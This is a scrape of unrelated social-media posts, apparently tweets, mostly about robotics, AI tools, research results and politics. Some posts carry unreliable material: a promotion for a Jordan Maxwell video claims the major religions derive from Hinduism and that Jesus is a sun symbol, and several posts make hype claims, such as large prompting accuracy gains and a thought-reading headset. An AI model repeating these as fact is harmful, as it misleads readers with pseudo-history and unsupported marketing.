3:03 – Another dead-end start in pedestrian zone. Moves right, clean U-turn, exits no intervention.
4:51 – Enters very tight pedestrian zone.
6:15 – Left turn at light over railway tracks.
6:56 – Construction road closure. Navigation reroutes right.
7:11 – No harsh braking as a father and small girl walked toward us from the right side in the middle of the road.
7:23 – Handles left-turn lane splitting into three lanes mid-intersection.
08:01 – Stops safely for fast cyclist appearing from right.
08:07 – Unprotected left turn.
If you're an Enterprise Leader, validating and governing your AI models isn't optional anymore...
https://t.co/c2ORx128ZA provides the model validation, governance frameworks for compliance, and transparency you need.
Get your audit: https://t.co/c2ORx128ZA https://t.co/fQW6tJ1QhK
Here's what most leaders miss:
In a world where spatial AI controls physical operations, competitive advantage comes from trusted AI.
Your customers demand it. Regulators require it. Partners expect proof your models are safe and reliable.
2/ Embodied AI will define the next decade
While everyone chases better chatbots, Li's building AI that operates in the physical world.
Her vision: infinite simulated universes where robots train before entering reality.
Manufacturing and logistics will be transformed first. https://t.co/1rHIt6erkW
Here's the actual prompt structure:
```
Decompose this problem into atomic reasoning units.
For each atom:
1. State the logical component
2. Validate independence
3. Verify correctness
Then synthesize atoms into final answer. https://t.co/y7cqk5cKCv
Chain of Thought is dead.
I just tested Atom of Thought prompting and it's making AI models 30-40% more accurate on complex reasoning tasks.
Here's the technique that's about to change how everyone uses ChatGPT and Claude: https://t.co/HuX5utaVMs
Unitree Debuts the World’s First Humanoid Robot “App Store”🥰
Unitree welcomes users and developers worldwide to co-develop and share together. 🌹🌹
Exceptional developers will receive rewards.🌹🌹 https://t.co/dbn2SNziJY
Jordan Maxwell - Religion's hidden origins revealed! Discover how the U.S.
Christianity, Judaism, and Islam trace back to ancient Hinduism and India. Was Abraham actually Brahma? Is Jesus just a symbol of the Sun? Learn the shocking truth about the Star of David, Vatican secrets, and sun worship.
This mind-blowing video exposes how all major religions borrowed from Hinduism, and why it's been hidden for centuries.
Everyone and their mother has something to say about space compute. But no one has comprehensively broken down the physics, energy, cooling, economics, and the real work involved.
So I built a 1st principles model to show you guys myself.
https://t.co/K6SGTgmIby https://t.co/C8dMQPAg4a
Bell’s theorem is a glitch in reality.
You’ve heard of it. But what is it, exactly?
In this video, we go deep on Bell’s legendary 1964 paper.
It’s an advanced topic, but worth the effort!
https://t.co/3MQjd9NBa9 https://t.co/Uj4J4dnDg1
🚨 1X has announced a strategic partnership with EQT to deploy up to 10,000 NEO androids across 300+ portfolio companies.
From logistics to healthcare, the "home robot" is heading to work in what could be one of the largest humanoid deployments to date.
Full story:
https://t.co/yQ9KaWw57v
A year ago, we verified a preview of an unreleased version of @OpenAI o3 (High) that scored 88% on ARC-AGI-1 at est. $4.5k/task
Today, we’ve verified a new GPT-5.2 Pro (X-High) SOTA score of 90.5% at $11.64/task
This represents a ~390X efficiency improvement in one year https://t.co/9T47FdZ5Ry
According to Ray Dalio, the easiest way to adjust for risk is to seek uncorrelated returns.
Ray's made billions from a simple idea.
Here's how to do it in a few lines of Python code: https://t.co/uGfcYkcMjy
Meet Android Use - an open source library that gives AI agents hands to control native Android apps.
It bypasses expensive vision models to run on cheap hardware, automating field ops in places laptops can't go.
Watch Android Use in action: https://t.co/MITCIBQRSc
I like the design of PADBOT’s outdoor patrol robot S5. It looks like a cute version of the Cybertruck. These kinds of service robots will be everywhere soon for patrol.
Watch the video till the end. It’s hilarious seeing the robot head back to its ‘house’ to recharge. https://t.co/5XxhRcSjEU
NEWS: Denmark has officially labeled the United States a national security risk.
Think about that. One of the most stable democracies on Earth just concluded that we’re the threat.
Major new research from Google and MIT.
"More agents is all you need" has become a mantra for AI developers. We know multi-agent systems can be effective, but we do this mostly based on heuristics.
The default approach to building complex AI systems today remains adding more agents, more coordination, more communication.
It would be helpful to have a more principled way to scale agentic systems.
This new research introduces the first quantitative scaling principles for agent systems, testing 180 configurations across three LLM families (OpenAI, Google, Anthropic) and four agentic benchmarks spanning financial reasoning, web navigation, game planning, and workflow execution.
The findings:
Multi-agent systems show an overall mean MAS improvement of -3.5% across all benchmarks, with massive variance ranging from +81% improvement to -70% degradation depending on task structure and architecture.
Three dominant effects emerge from the data:
The tool-coordination trade-off: tool-heavy tasks suffer disproportionately from multi-agent overhead. The efficiency penalty compounds as environmental complexity increases.
A task with 16 tools makes even the most efficient multi-agent architecture paradoxically less effective than a single agent.
The capability ceiling: once single-agent baselines exceed approximately 45% accuracy, coordination yields diminishing or negative returns. This is quantified as a statistically significant effect. Additional agents simply cannot overcome the coordination tax when baseline performance is already reasonable.
Architecture-dependent error amplification: independent multi-agent systems amplify errors 17.2x through unchecked propagation. Centralized coordination contains this to 4.4x via validation bottlenecks (these catch errors before propagation).
The presence or absence of inter-agent verification determines whether collaboration corrects or catastrophically compounds mistakes.
The performance heterogeneity is also interesting to look at:
- On parallelizable financial reasoning tasks, centralized multi-agent coordination achieves +80.9% improvement.
- On sequential planning tasks requiring constraint satisfaction, every multi-agent variant tested degraded performance by 39-70%.
- Decentralized coordination excels on dynamic web navigation (+9.2%) but provides essentially no benefit elsewhere.
The researchers derive a predictive model achieving cross-validated
𝑅^2=0.513 that correctly predicts the optimal architecture for 87% of held-out configurations. This model contains no dataset-specific parameters, enabling generalization to unseen task domains.
Overall, architecture-task alignment, not the number of agents, determines collaborative success. The research replaces heuristic guidance with quantitative principles: measure task decomposability, tool complexity, and baseline difficulty, then select a coordination structure accordingly.
Paper: https://t.co/6QY8rT15Pd
Learn to build effective AI agents in my academy: https://t.co/JBU5beIoD0
🚨 BREAKING: First Self Driving Tesla Conquers Danish Roads! 🇩🇰⚡
Just tested FSD in Aarhus. 1 FULL HOUR of flawless autonomy. Navigating twisty streets, dense traffic, roadworks, U-turns, reversing... ZERO interventions! Surreal vibes.
Dutch safety check in Feb could unlock it Europe wide. Game changer incoming!
@Tesla @Tesla_AI Who's hyped? 🚀🤖
#TeslaFSD #SelfDrivingRevolution #EVFuture
I pulled a random street from Google Maps.
Turned it into a 3D world with World Labs.
Dropped a Unitree G1 into it and hooked it up to our server-side MuJoCo setup.
Now the G1 is actually walking around a real Malaysian street in my browser.
Three.js is doing the rendering. MuJoCo is running the physics and walking policy on the server.
A simple WebSocket keeps everything locked together.
Real street → 3D world → server physics + policy → live control in the browser.
Kinda feels like cheating. Physical AI is getting wild.
Huge shoutout to @theworldlabs. Marble makes this stuff way too fun.
#robotics #MuJoCo #WorldLabs #simulation #unitree #sim2real
🎙️ I talked with Stephan van den Brink, founder and CEO of @ManusMeta, the company behind some of the most advanced data gloves used in robotics:
Not only robotics: teleoperation, motion capture, and embodied AI. Manus started as a small student project and grew into a deep tech company trusted across the robotics world.
We talk about Stephan's path from studying law and economics to discovering he was meant to build things, not file documents. He explains how the first Manus glove was built in evenings and weekends, how an early Kickstarter failure opened better doors, and how an accelerator program became the turning point for the company.
Stephan shares how Manus shifted from VR gaming to B2B simulation, then to motion capture, and now to robotics. He explains why EMF tracking became their core technology and why precise hand data is suddenly in huge demand as humanoids and AI driven robots take off.
We also talk about building a company for ten years, staying alive through hype cycles, making hard calls, and focusing on what real customers need.
Building Deep Tech #92
"New Opportunities Grow From Every Failure"
with Stephan van den Brink, founder and CEO of MANUS™.
Watch and listen to the full interview
🎬 YouTube: https://t.co/K2LosBdobr
🎧 Spotify: https://t.co/fqqg7KJ0wF
🎧 Apple: https://t.co/biiFqAWQ9a
🧠 Your Personal AI Learning Tutor Is Here!
🎓Stop merely memorizing. In Qwen Learn Mode, Qwen Chat turns information into understanding that actually sticks.Powered by our Qwen3-Max model and grounded in cognitive psychology, it designs a learning path tailored to the way you think.
✅ Guides you through Socratic-style dialogue, instead of just giving you answers
✅ Adapts to your current level, like a tutor who always works in your optimal learning zone
✅ Builds mental scaffolds so you can handle complex logic without feeling overwhelmed
Unlock your potential, not just the answer key. 🧬
✨Try it now: https://t.co/7d7lUekv7i
Did not expect the CEO of a $3.56T company to be out here personally demoing every feature of his vibe-coded app. But honestly… it’s incredible to watch.
I found another possible number too the Apocalypse Team I'm putting together. I call this guy Choppy. He's a bad ass redneck with skills.🔥🪵🪓 https://t.co/XMugKCDijI
MIT student Arnav Kapur built an AI headset that reads your brain and pulls out your thoughts...🤯
It is called AlterEgo...
No speaking it just turns your thoughts into words....
👀... https://t.co/wnyiCeAYjF
Jet engines are brutally hard. First test fire of my metal 3d printed turbojet. I now understand why only a few countries can actually build these. https://t.co/u1a0DA8Btp
you can just make a drone in threejs and have it fly around map imagery and put a camera on the drone and pipe its feed to a python vision model inference server for detections https://t.co/XRxGkuBbXE
Pre-programmed backflips are fun, but open-ended reasoning is the real challenge for robots. 🤖
@Fryrsquared stepped inside the lab to see how we’re building agents that can understand context and figure things out for themselves – rather than just following a script.
Watch our bonus episode ↓
https://t.co/XDwFCvaNAg
Excited to share that LeRobot Community Datasets v3 is here!
50K episodes | 46 robot types | 235 contributors worldwide
One of the largest open-source crowdsourced robot demonstration collections for multi-embodiment learning 🦾 https://t.co/fxaBK1ijMJ
We have just used the @Nvidia H100 onboard Starcloud-1 to train the first LLM in space!
We trained the nano-GPT model from Andrej @Karpathy on the complete works of Shakespeare and successfully ran inference on it.
We have also run inference on a preloaded Gemma model, and we plan to try more exciting models in the future.
Getting the first H100 to work in space required a lot of innovation and hard work from the incredible Starcloud team to make this breakthrough.
This is a significant first step toward moving almost all computing off Earth to reduce the burden on our energy supplies and take advantage of abundant solar energy in space! 🚀
A SINGLE encoder + decoder for all the 4D tasks!
We release 🎯 D4RT (Dynamic 4D Reconstruction and Tracking).
📍 A simple, unified interface for 3D tracking, depth, and pose
🌟 SOTA results on 4D reconstruction & tracking
🚀 Up to 100x faster pose estimation than prior works https://t.co/QzP9ESsUo5
In case anyone there still believe the nonsense about NATO provoking Russia, here’s Putin himself telling you it’s a war of conquest. Like, literally, he can’t possibly make this clearer. I wish the Mearsheimers, the Sachses, and all the other Western analysts who peddled that lie had the integrity to own up to their incompetence or deception. But of course they never will.
"It's important territory, our historical territory, absolutely. Russia was created in such a way that this was always part of Russia; there's no question about that. It's simply a natural thing, a historical fact. And even during the formation, the founding of the Soviet Union, there was a dispute, as I've already mentioned. Donbas became part of the RSFSR, and then Vladimir Ilyich decided, as he put it - this is a direct quote from the document - "to change the decision." And he changed the decision, and that's it, Donbas was given to Ukraine. That's how it all happened. I won't comment on what happened now. But it's not just about that; it's about the people.
People who didn't accept the coup d'état in Ukraine in 2014. And they started fighting against them. Fighting with artillery, heavy equipment, tanks, and aircraft. That's how it all began. That's when the war began. We're trying to end it. We are forced to do this by force of arms. And we will, of course, bring this matter to its logical conclusion, until the goal of the special military operation is achieved."
Microsoft.
Google.
AWS.
Everyone's trying to solve the same problem for AI Agents:
How to connect your agents to enterprise data without duct-taping a dozen tools together?
Your data lives in Postgres, Snowflake, MongoDB, Gmail, etc, scattered across dozens of apps.
Your AI logic lives in Python scripts and vector databases.
Building manual RAG pipelines with custom connectors for every data source means you're already set up for failure.
Here's an open-source project tackling this differently:
MindsDB treats AI models as virtual tables. Instead of moving data to AI, it brings AI to the data.
The model becomes your table. That's not a metaphor, that's literally how it works.
Let me explain the philosophy of how it works:
↳ Connect: MindsDB federates 200+ data sources. Slack, Salesforce, Gmail - they all become tables you can SELECT from.
↳ Unify: Knowledge Bases and Jobs create an automated semantic layer. Your RAG pipeline runs on SQL, not Python scripts.
↳ Respond: MindsDB acts as an MCP server, so any agent or MCP client can plug in and instantly access your business data.
What does this solve:
Before, you needed a Data Engineer, a Python Engineer, and an MLOps Engineer to build a production RAG system.
With MindsDB? A developer proficient in SQL can build, deploy, and automate sophisticated AI agents that learn from live business data.
Intelligence becomes just another database feature.
Want to explore further? I've shared MindsDB's GitHub repo in the next tweet.
Disney just revealed a self-walking Olaf robot.
It's trained on 10,000+ hours of AI motion simulations built with NVIDIA and DeepMind.
It even does Olaf’s signature waddling walk from the films.
Here’s why this matters far beyond theme parks: https://t.co/YprAJm0MhX
Europe’s comeback? Italy steps boldly into the age of humanoid robotics. 🇮🇹🤖
Tether Investments has just backed Generative Bionics, the largest spin-off in IIT’s history and one of Europe’s most ambitious robotics ventures. With a €70M funding round, the company is set to accelerate the development and industrialization of next-generation humanoid robots.
Generative Bionics brings together 20 years of IIT robotics research, more than 60 humanoid prototypes, and a powerhouse team of 70 engineers and AI scientists.
And just this June, IIT achieved a major milestone with iRonCub3 — the first liftoff of a jet-powered humanoid robot.
With strong financial backing, Generative Bionics is now fast-tracking industrial validation for its humanoid platform, advancing human-centric interaction AI, building its first production facility, and plugging into the broader robotics ecosystem.
The company is also pushing forward with physical AI and edge AI systems.
Starting in 2026, Italian-built humanoid robots are expected to roll out across manufacturing, logistics, healthcare, retail, and other high-demand sectors.
Next year, the game of humanoid robots will become even more interesting.
Fit-to-size packaging is getting smarter! 📦
Sparck Technologies is using 3D scanning to measure each order and automatically create the best-fitting box
So no oversized packaging, no wasted space, or at least less!
The system scans the items, builds a custom box, and packs the order automatically. Less waste, lower shipping volume, and fewer air-filled boxes going out the door.
eCommerce is growing constantly for years, as we order more from the internet, so it's important to optimize packaging.
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwoPB
The LHC’s best 2025 discovery points the way to new physics
One key ingredient, needed to make more matter than antimatter, is CP-violation.
From 1964-2025, it had only ever been observed in mesons.
Well, meet our first CP-violating baryons!
https://t.co/d4EYZblUGZ
So after all these hours talking about AI, in these last five minutes I am going to talk about:
Horses.
Engines, steam engines, were invented in 1700.
And what followed was 200 years of steady improvement, with engines getting 20% better a decade.
For the first 120 years of that steady improvement, horses didn't notice at all.
Then, between 1930 and 1950, 90% of the horses in the US disappeared.
Progress in engines was steady. Equivalence to horses was sudden.
The First Manufacturer to Mass-Produce 5,000 Humanoid Robots
AgiBOT rolled off its 5,000th humanoid robot (a Lingxi X2) today, marking a milestone for both the company and the humanoid robot industry as a whole: a significant step towards large-scale deployment in the real world.
AgiBOT co-founder and CTO Peng Zhihui stated in a live said that these 5,000 units include the Yuanzheng series (1742), the Lingxi series (1846), and the Genie series (1412).
These humanoid robots will be deployed in various settings, including scientific research, entertainment, shopping malls, factories, and warehouses.
This also signals that AgiBOT has the capacity for mass production and is ready to meet future surges in customer demand. Its production partner, LingyiTech, was the main force behind the assembly of AgiBOT's 5,000 humanoid robots this year, and they are planning an automated production line with an annual capacity of 500,000 units.
Next year will be a milestone year for humanoid robots, reaching 10,000 units annually. Including Tesla, 1X, UBTECH…
Still can’t believe @karpathy released this 3.5-hour free deep dive on how ChatGPT actually works for free.
If there’s one AI video to watch in 2025, this is the one https://t.co/dpI7BA4HUe
Introducing Dexter 2.0
Open source. Built for financial research.
Like Claude Code, but for stocks.
What Dexter does:
• plans tasks
• runs on its own
• validates its work
• researches stocks
It uses OSS tools like @LangChainAI, with a fresh stack of typescript, react, ink, and bun.
Fast to build. Easy to use. No coding required.
My favorite project of the year.
He bought an Acura and a GoPro.
In one month, he built a self-driving car in his garage.
When the government (NHTSA) sent him a threat demanding safety specs... he didn't hire lawyers.
He cancelled the product and open-sourced the code:
https://t.co/lpNDwYeYtu https://t.co/skkTBp7zht
You need $100 Billion to solve self-driving?
Wrong.
A small team of engineers in San Diego is doing it with a smartphone chip and a few cameras:
... for $999.🧵 https://t.co/fCFERSAH2v
I should charge $149 for this…
but I’m giving away my LinkedIn Content Plan Mega-Prompt for free.
It builds a full 30-day content plan in seconds:
→ Hooks
→ Content types
→ Formats
→ Posting schedule
→ CTA templates
→ Viral post structures
If you want to grow on LinkedIn in 2025, this is your shortcut.
Comment “Link” and I’ll DM you the file.
(Must be following to receive)
grab a pen
character design using Freepik Spaces and Nano Banana Pro
workflow:
> draw on paper
> apply your 3D style
> build the 3D character
> animate it with Kling 2.6 https://t.co/IxZiWAsD57
These 75+ humanoid companies around the world really show just how massive this humanoid robotics wave is.
Again, I’m just excited and grateful to be alive to witness what might be the biggest tech revolution in human history.
It’s just the beginning, buckle up please. https://t.co/LinofpOMiE
365 days of vibe coding, months of research, and real world shipping 10 apps+ with 30k+ users, $100k+ generated as a solo dev
sharing all the best claude code cheats: https://t.co/UUsL9Oey0P
Claude Sonnet 4.5 is the closest thing to an economic cheat code we’ve ever touched but only if you ask it the prompts that make it uncomfortable.
Here are 10 Powerful Claude prompts that will help you build a million dollar business (steal them):
I have now managed to read the National Security Strategy and one thing that comes apparent is, that it's not a real surprise considering the rhetoric from the administration over the last 11 months.
The proposed U.S closer alignment with Russia is a worry for Europe, but in defence terms will be a European bonus. It will bring Europe closer together with the regional defence companies forming closer alliances and producing more home grown weapons.
Europe has always had the ability to do this, but has been reluctant to increase budgets and spending on development and production of advanced weapon systems. In 4-5 years they could become the power house of aircraft and weapon supplies to the rest of the world. Thus reducing the U.S dominant position.
The real loser in the strategy would be the U.S defence industry.
Bioinspired robot:
Fly - Roll - Walk - Crawl [Paper ⬇️]
Multi-Modal Mobility Morphobot (M4), a revolutionary robot inspired by nature's most adaptable creatures.
✅ Capable of multiple forms of movement: flying, rolling, crawling, and more.
✅ Features adaptive appendages that function as wheels, thrusters, and legs.
✅ Equipped with advanced sensors and autonomous capabilities for navigating complex terrains.
M4 shows the future of robotic locomotion, seamlessly adapting to diverse environments.
Paper: https://t.co/yYkbiFl22D
Caltech: https://t.co/l1WVQIZwTn
Funded by
NASA Jet Propulsion Laboratory
—-
Weekly robotics and AI insights. Subscribe free: https://t.co/dsa6wcvq6n
At a converter station in Shaoxing, China, autonomous robotic dogs now manage over 280 inspection points every day.
Video Credit: DEEP Robotics
#robotics #engineering #technology
--------------------------------
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Alibaba doesn't stop cooking.
They just dropped a REALTIME, infinite length video generator.
Based on Wan, 20 fps, with dialogue
https://t.co/vbEmdyl500 https://t.co/6g77IikVY0
This is wild.
China's Alibaba just dropped Live Avatar.
This AI turns any voice into a realtime, talking avatar with infinite length at 20 FPS.
10 wild demos:👇
1. Ilya interview that never happened https://t.co/Zgi5ck1ZHd
Claude can now build complete n8n workflows from a single prompt.
(and it takes less than 10 minutes)
Most automation experts waste hours manually building workflows, debugging nodes, and configuring APIs.
But there's a faster way.
I just created a full video masterclass breaking down the exact process to use Claude's MCP server to auto-generate working AI agents and workflows.
This is the same method I use for clients and my mentorship students.
Inside this training, I walk you through:
- Installing the n8n MCP server (step-by-step setup)
- Creating Workflow Resource Documents that Claude understands
- Generating complete workflow JSONs in minutes
- Importing and debugging workflows inside n8n
- Real example: Building a news aggregator AI agent that pulls articles, summarizes them, and sends daily reports
I built a fully functional workflow in under 15 minutes on camera.
The crazy part?
You don't need to be an automation expert. This works for complete beginners.
If you're building automations for your business or clients, this will save you hours every single week.
Want the full masterclass?
Comment "CLAUDE" and I'll send it to your DM's (must be following)
Russia is laying the groundwork to make the 1990s look like a walk in the park. Everyone says Russia is returning to the nineties, but what does that mean? The collapse of the Soviet Union was driven by many factors. Economic problems had already begun in the 1970s. The USSR
1/16 https://t.co/qwJYenQzJz
Stanford and ETH researchers just announced BulletTime
This AI takes one video and lets you freeze or slow time while the camera flies anywhere in 3D.
10 wild examples:👇 https://t.co/9uE5p9Yw9a
Ok everyone, here’s the European Humanoid Map.
Europe has more humanoids than I expected: Paris, France has four, Germany and the UK have two each, and Norway, Sweden, Luxembourg, Italy, and Spain each have one. More will emerge.
Exciting times ahead for sure. Cheers. https://t.co/rGn9xL15Yo
Not a video — but a 3D reconstruction.
A centuries-old street, preserved as digital space.
Captured with XGRIDS
3DGS in LCC
Scan by Kai Christmann https://t.co/LFNJeldbXP
@Real__Yahiya make a crm app with a professional elegant design with a beautiful frontend. use nextjs and use sqlite for the database. use your skills to develop the app. add example data
🏀 Object Tracking Made Easy with SAM 3!
With just a simple text prompt like “player”, you can now segment and track objects throughout an entire video using SAM 3.
Easily customize object names, isolate specific players, or remove unwanted objects.
GitHub: https://t.co/fIwKOLT34E
Notebook Example: https://t.co/PacyqoMgc9
#SAM3 #SamGeo #DataScience #OpenSource #ComputerVision
Here's how Neuralink’s BCI is implanted: 64 threads, 1,024 electrodes, robot surgery no visible scars
Neuralink’s robot carefully places each tiny thread (thinner than a human hair) into the brain. It avoids blood vessels with amazing accuracy and works fully on its own
The procedure is gentle, leaves almost no mark, and lets people with paralysis move cursors, play games, and communicate again - just by thinking
This is how thoughts control technology
My team built a VPN at Google. Summary of my advice on VPNs:
1) Never ever use a free VPN.
2) Be wary of any influencer-marketed VPNs with big discounts. Up to you but I wouldn’t use Nord/Express/etc based in Lithuania/Cyprus/Panama.
3) Mullvad is the best consumer VPN and it’s not even close. (more below)
basketball AI YouTube tutorial is finally live
over 1000 hours of work compressed into 37 minutes
link below; like and comments please https://t.co/ihRgWuuqy3
Today at 11:00 AM, join Google researchers to experience SIMA 2, our latest Gemini-powered AI agent for 3D virtual worlds. SIMA 2 represents a significant step toward more general and helpful AI agents. Stop by the #NeurIPS2025 Google Booth to see the demo and learn more:
https://t.co/qoCPGPHX7x
A reset button for rotation could change how we control them all.
Is it possible to cancel out a complicated spin without painstakingly reversing every single move? Surprisingly, the answer is yes.
Mathematicians Jean-Pierre Eckmann (University of Geneva) and Tsvi Tlusty (UNIST, South Korea) recently proved that almost any object—whether it’s a spinning top, a tumbling satellite, a twisted protein, or even a scrambled Rubik’s Cube—has a hidden “reset button” for its orientation.
Instead of undoing the motion step by step in reverse order, you can take the entire original sequence of rotations, scale it by a certain constant factor (make every turn bigger or smaller by the same proportion), perform that scaled version once, then do it again—and the object snaps perfectly back to its starting orientation. Two scaled copies of the same motion are enough to erase it completely.
It feels deeply counterintuitive. We’re used to thinking that rotations in 3D space don’t commute and that the only safe way to return home is to retrace your path exactly backward. Yet this new result reveals a previously unknown geometric symmetry: certain scaling factors turn the rotation group into something that has a kind of built-in “double and cancel” feature.
The discovery applies to any rigid body moving in three dimensions and may simplify algorithms in robotics (for reorienting a robot arm without tracking every prior move), computer graphics, molecular dynamics simulations, spacecraft attitude control, and even some problems in quantum mechanics.
In short, nature has been hiding a remarkably simple trick: sometimes the fastest way to undo a complex dance of spins isn’t to moonwalk backward through every step; it’s to perform an enlarged (or shrunken) version of the same dance twice.
["Walks in Rotation Spaces Return Home when Doubled and Scaled." Physical Review Letters, 2025]
We built another tool - Anthropic Interviewer - that lets us interview people at scale by using Claude (obviously! we use Claude for everything!). See the piece for what we learned.
This helps us expand the kind of research we can do which is exciiiiiitingggg -- it's is what we used for the internal qualitative interviews for the "How AI is transforming work at Anthropic" study that dropped earlier this week
https://t.co/fpDTsonRsl
Holosoma
Code: https://t.co/eAgdKiL4F5
Amazon FAR just released an open-source comprehensive humanoid robotics framework for training and deploying RL policies with motion retargeting.
- Simulator support: IsaacGym, IsaacSim, MuJoCo Warp, MuJoCo
- RL algorithm: PPO and FastSAC
- Robot: Unitree G1 and Booster T1 humanoid
- Task: Locomotion(velocity-tracking) and whole-body tracking
- Motion retargeting: convert human motion capture data to robot motions while preserving interactions with objects and terrain
- Also support sim-to-sim/sim-to-real deployment, and Wandb integration
Sci-fi becoming real in the last few days:
1) AI -- entirely on its own -- solved TWO Erdos Problems (#124 and #481). These were open math problems unsolved for decades.
2) First ever paper in theoretical physics in which the main idea came from an AI https://t.co/MKBivqhaVU
I can't get over the fact that he naps while Rubio is LITERALLY saying he's the "Only one in the world who can focus."
I just have to laugh.
https://t.co/u0umVrnYiX
First Google, then Microsoft, and now AWS!
It seems like every week one of the tech giants is integrating with the same protocol.
If you haven’t been following - I’m talking about AG-UI
AG-UI (the Agent-User Interaction protocol) connects any agentic backend to the frontend.
It is a general-purpose, bi-directional connection between a user-facing application and any agentic backend.
AG-UI has first party integrations & partnerships with Google’s ADK, Microsoft’s Agent Framework, AWS Strands, LangGraph, CrewAI, PydanticAI, Mastra, LlamaIndex, and more.
And CopilotKit, the company behind AG-UI, provides developers with powerful building blocks on top of the protocol, which handle all the mess of connecting your agent to the frontend.
I’ve shared about this in the past, but I’ve been keeping my eye on it.
Recently, CopilotKit and AG-UI collectively passed 200,000 weekly downloads and 35k stars on GitHub, and momentum is only accelerating.
It makes sense why every agent framework is integrating with AG-UI.
Out-of-the-box, you instantly get:
1./ Real-time shared state between your frontend and agent
2./ UI components that stream reasoning + tool calls (pre-built or fully headless)
3./ Native A2A + MCP support
4./ A full framework to build "Cursor for X" apps
AND NOW:
5./ A set of new internal primitives built specifically around AG-UI
6./ A new useAgent() React hook that lets you connect any AG-UI agent to your frontend with a single line
This is quickly becoming the connective tissue of the agentic stack.
And with the upcoming CopilotKit v1.50 release, the entire developer experience gets drastically cleaner and more powerful.
If you want to build more than just an agent, but a real full stack agentic application, the AG-UI ecosystem is the place to go.
Resources to get started:
👉 AG-UI Repo: https://t.co/nZMtjrEwxA
👉 CopilotKit Quickstart: https://t.co/o0bZies8kW🪁
Liouville proved a fascinating property involving the divisor counts of a number's divisors:
1️⃣ Start with a number (example 10)
2️⃣ Write down its divisors (1, 2, 5, 10)
3️⃣ Write down the number of divisors of each divisor (1, 2, 2, 4)
The square of the sum equals the sum of the cubes: (1+2+2+4)² = 81= 1³+2³+2³+4³
Gemini 3 is absolutely crazy
you can generate a website that can use hands to interact with 3D models.. how's this even possible
created with simple text prompt, no need coding at all https://t.co/iQL0GUI067
Very excited to release this together with @frodobots and @BitRobotNetwork, awesome to see them open sourcing the robot and dataset!
Explore the dataset on the Hugging Face Hub and checkout Earth Rover Mini+ in LeRobot!
Holy shit… this might be the most unreal academic-writing upgrade I’ve ever seen 🤯
A team from NUS just dropped PaperDebugger an in-editor, multi-agent system that lives inside Overleaf and rewrites your paper with you in real time.
Not copy-paste. Not a sidebar chatbot.
Actual agentic editing inside your LaTeX editor.
Here’s why this is insane 👇
→ You highlight a messy paragraph, and it launches a full critique + rewrite pipeline
→ Returns clean before–after diffs like Git, then patches your document instantly
→ Runs Reviewer, Enhancer, Scoring, and Researcher agents in parallel
→ Uses Kubernetes pods to scale multi-agent reasoning inside the editor
→ Taps an MCP toolchain for literature search, reference lookup, and section-level enhancement
Deep research mode is even crazier:
It pulls relevant arXiv papers, summarizes them, compares your method against them, and generates citation-ready tables… all inline while you're writing.
It’s basically a mini committee of reviewers embedded in your document rewriting, critiquing, sourcing, and polishing without ever breaking flow.
If this scales, Overleaf stops being an editor… and becomes a full AI-assisted research environment.
I think I’ve published the first research article in theoretical physics in which the main idea came from an AI - GPT5 in this case. The physics research paper itself (on QFT and state-dependent quantum mechanics) has been published in Physics Letters B.
I've written an accompanying AI paper describing the Generator - Verifier method I used to obtain useful research results from frontier LLMs. It may be of interest to other physicists and to AI researchers.
From the AI paper:
... models sometimes make very simple mistakes (e.g. in calculation) and also even make incorrect conceptual leaps that are superficially plausible. The second type of error can lead even expert researchers astray, consuming large amounts of effort to detect and correct. Research with an LLM might be compared to collaboration with a brilliant but unreliable human genius who is capable of deep insights but also of errors both simple and profound.
Fortunately, both types of errors can be strongly suppressed by using structured orchestration of multiple model instances, greatly improving reliability. A Generate - Verify protocol, in which one model produces a step forward and another model instance independently checks it, reduces hallucination errors significantly compared to single-pass generation. ...
The physics paper (abstract below) derives new operator integrability conditions required for foliation independence (necessary for integrability of quantum field theory; cf Tomonaga-Schwinger) that are very difficult to satisfy in any modifcation of quantum mechanics that is "state dependent" - i.e., deviates from linear Schrodinger evolution.
Whether quantum evolution is EXACTLY linear is one of the most fundamental questions in all of science. It has implications for quantum computing and quantum foundations - i.e., whether we live in an Everettian multiverse!
Today we're launching Wolfram Compute Services ... making supercomputing absurdly easy.
Develop code in Wolfram Language, then just use RemoteBatchSubmit[code] to scale!
I've needed this for decades, and now it's here!
https://t.co/WqFXhTZmnT https://t.co/2uzwIRMcBl
RenTec uses Hidden Markov Models in trading.
The technique generated 60% returns per year over 30 years.
One of the co-founders of RenTec's name is in the algorithm!
Here's how it works: https://t.co/v1cwDFYG1h
Axiom sets out to build an AI mathematician.
We are the underdog.
4 months old, 2 years late to the game, under 10 FTEs (recently grew to 17), and had 1:5 in funding and in valuation to our competitor.
Today, AxiomProver solved Erdos Problems #124 and #481 in Lean, a 100% verifiable language.
Onwards!
Will new physics affect our Universe’s far future?
We have a long-term story, based on our consensus cosmology, of how our Universe will end.
But if dark matter interacts, the proton decays, or dark energy evolves, all bets are off.
https://t.co/LTmXUp32JU
Fizzy is live! Our modern, beautiful spin on kanban for tracking just about anything. Nothing revolutionary, but just right, just nice. And we're launching our freemium SaaS version alongside an O'Saasy-licensed codebase for you to run it yourself too! https://t.co/AfDsofwNQ8 https://t.co/9AP59aCPVM
1311 likes93 retweets55 repliesDec 02, 2025 at 16:10
Something must change in robotics! 😖
As more billion-dollar players enter the space, more systems are closing off.
APIs move behind paywalls, platforms lock down, and robots turn into black boxes.
@pollenrobotics is taking the opposite route.
With Reachy 2, everything is open: the code, the CAD files, the ROS 2 interfaces, the communication stack.
If you want to swap the camera, redesign the gripper, or fork the whole system, you can, and that’s the point.
It creates a culture where universities can run real experiments without licensing drama, and startups can prototype without waiting for vendor permission.
Clone it on GitHub. Add behaviors. Share datasets. Fork the models. Push improvements upstream.
The @huggingface influence is real. It’s two open ecosystems aligning around the same idea: robotics should be built by more than a handful of companies.
It was so cool to meet the team behind Reachy 2 in Bordeaux! 🔥
~~
♻️ Join the weekly robotics newsletter, and never miss any news → https://t.co/GoA3ZuwoPB
We’re excited that from a single video we can now create a sim-ready 3D scene—objects are interactable, separated, complete, and physically stable. We also show how these indoor digital twins enable VFX, robot sim, and even 3D printing!
ByteDance Seed releases GR-RL: Enabling robots to manipulate complex objects with human-like dexterity!
• Tying shoelaces
• Adjusting clothes
• Moving soft objects
How to achieve this?
>Learning from human demonstrations, but only the essentials
>Data augmentation for more flexible movements
>Self-trial and error optimization for improved accuracy
In the future, home assistant/elderly care robots will not only move things, but also do housework.
Project page: https://t.co/OGQZe5jzdx
ArXiv: https://t.co/xG273vNhhj
